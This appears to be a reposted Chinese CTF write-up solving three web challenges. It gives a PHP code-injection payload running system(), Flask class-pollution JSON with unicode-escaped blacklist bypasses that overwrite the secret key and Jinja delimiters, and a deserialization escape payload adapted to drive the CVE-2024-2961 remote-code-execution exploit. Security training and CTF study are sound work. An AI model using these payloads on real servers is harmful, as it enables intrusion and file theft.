XGCTF web部分wp

gaorenyusi 2024-08-07 09:33:01 阅读 54

web部分wp

CodeInject

开题就几行代码:

QQ截图20240707143058

没有任何过滤,直接构造进行闭合:

<code>1);system("ls /");//

QQ截图20240707143246

读取flag

QQ截图20240707143333

easy_polluted

下载附件得到源码

<code>from flask import Flask, session, redirect, url_for,request,render_template

import os

import hashlib

import json

import re

def generate_random_md5():

random_string = os.urandom(16)

md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()

def filter(user_input):

blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']

for pattern in blacklisted_patterns:

if re.search(pattern, user_input, re.IGNORECASE):

return True

return False

def merge(src, dst):

# Recursive merge function

for k, v in src.items():

if hasattr(dst, '__getitem__'):

if dst.get(k) and type(v) == dict:

merge(v, dst.get(k))

else:

dst[k] = v

elif hasattr(dst, k) and type(v) == dict:

merge(v, getattr(dst, k))

else:

setattr(dst, k, v)

app = Flask(__name__)

app.secret_key = generate_random_md5()

class evil():

def __init__(self):

pass

@app.route('/',methods=['POST'])

def index():

username = request.form.get('username')

password = request.form.get('password')

session["username"] = username

session["password"] = password

Evil = evil()

if request.data:

if filter(str(request.data)):

return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"

else:

merge(json.loads(request.data), Evil)

return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"

return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])

def templates():

username = session.get("username", None)

password = session.get("password", None)

if username and password:

if username == "adminer" and password == app.secret_key:

return render_template("flag.html", flag=open("/flag", "rt").read())

else:

return "Unauthorized"

else:

return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':

app.run(host='0.0.0.0', port=5000)code>

app.run(host='0.0.0.0', port=5000)code>

先看两个路由,/路由是获得session并且对 Evil 使用了merge方法,不难想到可能是原型链污染。

继续看/admin路由,看到满足条件if username == "adminer" and password == app.secret_key就会得到flag。

所以大概思路就是通过原型链污染app.secret_key的值,然后构造session来满足条件。

payload

{ -- -->"__init__":{ "__globals__":{ "app":{ "secret_key":"123"}}}}

通过json格式发送,发现有黑名单,unicode编码进行绕过,

{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u0061\u0070\u0070":{ "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123"}}}}

然后就是session的构造了,直接post传参

username=adminer&password=123

然后看见返回包返回了个Set-Cookie,访问路由/admin并添加此session。

竟然没有flag,

QQ截图20240706231755

搜索flask原型链污染发现可以通过污染来修改修改相应的语法标识符

<code>{ -- -->

"__init__" : {

"__globals__" : {

"app" : {

"jinja_env" :{

"variable_start_string" : "[#","variable_end_string":"#]"

}

}

}

}

同样进行unicode编码

{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u0061\u0070\u0070":{ "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{ "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"}}}}}

最后污染后再次访问,渲染成功,得到flag

QQ截图20240707151718

Ezzz_php

开题:

<code><?php

highlight_file(__FILE__);

error_reporting(0);

function substrstr($data)

{ -- -->

$start = mb_strpos($data, "[");

$end = mb_strpos($data, "]");

return mb_substr($data, $start + 1, $end - 1 - $start);

}

class read_file{

public $start;

public $filename="/etc/passwd";code>

public function __construct($start){ -- -->

$this->start=$start;

}

public function __destruct(){

if($this->start == "gxngxngxn"){

echo 'What you are reading is:'.file_get_contents($this->filename);

}

}

}

if(isset($_GET['start'])){

$readfile = new read_file($_GET['start']);

$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";

if(preg_match("/\[|\]/i", $_GET['read'])){

die("NONONO!!!");

}

$ctf = substrstr($read."[".serialize($readfile)."]");

unserialize($ctf);

}else{

echo "Start_Funny_CTF!!!";

}

看到mb_strposmb_substr,猜测可能是利用两个函数解析差异进行字符串逃逸

看到最后关键处是file_get_contents($this->filename);,那么覆盖filename为我们想读的文件即可。

参考黄河流域就知道 %9f 可以增加一个字符,但是这里和那里还有一点区别,这里需要通过控制$start 来控制长度,因为反序列化不能有不可见字符,需要长度刚刚好。

如构造

?start=gnxgnxgnxgnxnx&read=%9f%9f%9f%9f%%9f%9f%%9f%9f%9f%9f%%9f%9f%%9f9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:17:"/usr/sbin/nologin";}

现在能任意文件读取了,但是不知道 flag 文件名,试了试伪协议发现没用,放弃了,不会。

赛后 wp 复现,发现竟然是个 cve,

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行

exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

把参考的 pyload 改一下就行,这里直接看 wp 改的

def send(self, path: str) -> Response:

"""Sends given `path` to the HTTP server. Returns the response.

""" payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'

payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")

filename_len = "a" * (len(path) + 10)

url = self.url+f"?start={ filename_len}&read={ payload}"

return self.session.get(url)

然会下载依赖直接就能命令执行了 (需要 python3.10 及以上而且要 linux 环境)

pip3 install pwntools

pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

参考官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1?dver=



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。